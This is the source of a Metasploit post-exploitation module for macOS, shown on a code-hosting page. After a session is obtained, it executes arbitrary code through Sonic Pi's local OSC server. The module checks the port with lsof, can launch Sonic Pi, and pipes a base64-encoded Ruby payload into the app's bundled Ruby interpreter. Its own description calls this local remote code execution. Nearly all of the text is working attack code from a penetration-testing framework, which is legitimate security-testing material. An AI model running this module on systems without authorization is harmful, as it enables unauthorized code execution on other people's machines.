Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/manage/sonic_pi.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post67def initialize(info = {})8super(9update_info(10info,11'Name' => 'OS X Manage Sonic Pi',12'Description' => %q{13This module controls Sonic Pi via its local OSC server.1415The server runs on 127.0.0.1:4557 and receives OSC messages over UDP.1617Yes, this is RCE, but it's local. I suggest playing music. :-)18},19'Author' => [20'Sam Aaron', # Sonic Pi21'wvu' # Module and Sonic Pi example22],23'References' => [24%w[URL https://sonic-pi.net/],25%w[URL https://github.com/samaaron/sonic-pi/wiki/Sonic-Pi-Internals----GUI-Ruby-API],26%w[URL http://opensoundcontrol.org/spec-1_0]27],28'License' => MSF_LICENSE,29'Platform' => 'osx',30'SessionTypes' => %w[meterpreter shell],31'Actions' => [32['Run', { 'Description' => 'Run Sonic Pi code' }],33['Stop', { 'Description' => 'Stop all jobs' }]34],35'DefaultAction' => 'Run',36'Notes' => {37'SideEffects' => [AUDIO_EFFECTS, SCREEN_EFFECTS]38}39)40)4142register_options([43OptAddress.new('OSC_HOST', [true, 'OSC server host', '127.0.0.1']),44OptPort.new('OSC_PORT', [true, 'OSC server port', 4557]),45OptBool.new('START_SONIC_PI', [true, 'Start Sonic Pi', false]),46OptPath.new(47'FILE',48[49true,50'Path to Sonic Pi code',51File.join(Msf::Config.data_directory, 'post', 'sonic_pi_example.rb')52]53)54])5556register_advanced_options([57OptString.new(58'SonicPiPath',59[60true,61'Path to Sonic Pi executable',62'/Applications/Sonic Pi.app/Contents/MacOS/Sonic Pi'63]64),65OptString.new(66'RubyPath',67[68true,69'Path to Ruby executable',70'/Applications/Sonic Pi.app/server/native/ruby/bin/ruby'71]72)73])74end7576def osc_host77datastore['OSC_HOST']78end7980def osc_port81datastore['OSC_PORT']82end8384def sonic_pi85datastore['SonicPiPath'].shellescape86end8788def ruby89datastore['RubyPath'].shellescape90end9192def check_lsof93cmd_exec("lsof -ni :#{osc_port} && echo true").end_with?('true')94end9596def run97begin98unless check_lsof99print_error('Sonic Pi is not running')100101return if @tried102103if datastore['START_SONIC_PI']104print_status('Starting Sonic Pi...')105106# XXX: shell_command_token uses ; as a command separator107cmd_exec("#{sonic_pi} & :")108sleep(10)109110@tried = true111raise RuntimeError112end113114return115end116rescue RuntimeError117retry118end119120print_good('Sonic Pi is running')121122case action.name123when 'Run'124print_status("Running Sonic Pi code: #{datastore['FILE']}")125when 'Stop'126print_status('Stopping all jobs')127end128129cmd = "echo #{Rex::Text.encode_base64(code)} | base64 -D | #{ruby}"130131vprint_status(cmd)132cmd_exec(cmd)133end134135def code136<<~EOF137require 'socket'138UDPSocket.new.send("#{msg}", 0, '#{osc_host}', #{osc_port})139EOF140end141142def msg143Rex::Text.to_hex_ascii(144case action.name145when 'Run'146"/run-code\x00\x00\x00,ss\x00#{agent}#{file}"147when 'Stop'148"/stop-all-jobs\x00\x00,\x00\x00\x00"149end150)151end152153def agent154# Generate random null-terminated agent string155agent = "#{Faker::App.name}\x00"156157# Pad string with nulls until its length is a multiple of 32 bits158agent << "\x00" until agent.length % 4 == 0159160# Return null-terminated and null-padded string161agent162end163164def file165# Read file as null-terminated string166@file = "#{File.read(datastore['FILE'], mode: 'rb')}\x00"167168# Pad string with nulls until its length is a multiple of 32 bits169@file << "\x00" until @file.length % 4 == 0170171# Return null-terminated and null-padded string172@file173end174175end176177178